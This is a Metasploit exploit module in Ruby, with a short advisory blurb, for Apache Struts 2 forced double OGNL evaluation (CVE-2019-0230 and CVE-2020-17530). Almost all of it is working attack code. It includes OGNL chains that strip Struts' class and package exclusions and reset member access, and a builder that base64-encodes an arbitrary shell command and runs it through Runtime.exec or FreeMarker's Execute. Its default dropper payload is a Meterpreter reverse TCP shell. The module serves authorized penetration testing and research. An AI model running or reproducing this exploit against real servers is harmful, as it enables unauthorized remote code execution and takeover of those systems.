Authored by Matthias Kaiser, Spencer McIntyre, Alvaro Munoz, ka1n4t | Site metasploit.com

The Apache Struts framework, when forced, performs double evaluation of attribute values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag’s attributes are rendered. With a carefully crafted request, this can lead to remote code execution. This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.

advisories | CVE-2019-0230, CVE-2020-17530

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
'Description' => %q{
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a
tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).

This vulnerability is application dependant. A server side template must make an affected use of request data to
render an HTML tag attribute.
},
'Author' => [
'Spencer McIntyre', # Metasploit module
'Matthias Kaiser', # discovery of CVE-2019-0230
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2020-17530
'ka1n4t', # PoC of CVE-2020-17530
],
'References' => [
['CVE', '2019-0230'],
['CVE', '2020-17530'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],
['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],
],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
},
'DefaultTarget' => 0
)
)

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])
])
end

def check
num1 = rand(1000..9999)
num2 = rand(1000..9999)

res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
if res.nil?
return CheckCode::Unknown
elsif res.body.scan(/(["'])s*#{(num1 * num2)}s*1/).empty?
return CheckCode::Safe
end

return CheckCode::Appears
end

def exploit
cve = datastore['CVE']
print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")

if cve == 'CVE-2019-0230'
ognl = []
ognl << '#context=#attr['struts.valueStack'].context'
ognl << '#container=#context['com.opensymphony.xwork2.ActionContext.container']'
ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
ognl << '#ognlUtil.setExcludedClasses('')'
ognl << '#ognlUtil.setExcludedPackageNames('')'
res = send_request_cgi(build_http_request(cve, ognl))
fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
end

case target['Type']
when :unix_cmd
execute_command(payload.encoded, { cve: cve })
when :linux_dropper
execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })
end
end

def execute_command(cmd, opts = {})
send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)
end

def build_http_request(cve, ognl)
ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array

http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }
http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?
if cve == 'CVE-2019-0230'
http_request_parameters['method'] = 'GET'
http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }
elsif cve == 'CVE-2020-17530'
http_request_parameters['method'] = 'POST'
http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }
end
http_request_parameters
end

def build_ognl(cve, cmd)
cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
ognl = []
if cve == 'CVE-2019-0230'
ognl << '#context=#attr['struts.valueStack'].context'
ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'
ognl << "@java.lang.Runtime@getRuntime().exec("#{cmd}")"
elsif cve == 'CVE-2020-17530'
ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'
ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'
ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'
ognl << '#bean.setBean(#stack)'
ognl << '#context=#bean.get("context")'
ognl << '#bean.setBean(#context)'
ognl << '#macc=#bean.get("memberAccess")'
ognl << '#bean.setBean(#macc)'
ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'
ognl << '#bean.put("excludedClasses",#emptyset)'
ognl << '#bean.put("excludedPackageNames",#emptyset)'
ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'
ognl << "#execute.exec({"#{cmd}"})"
end

ognl
end
end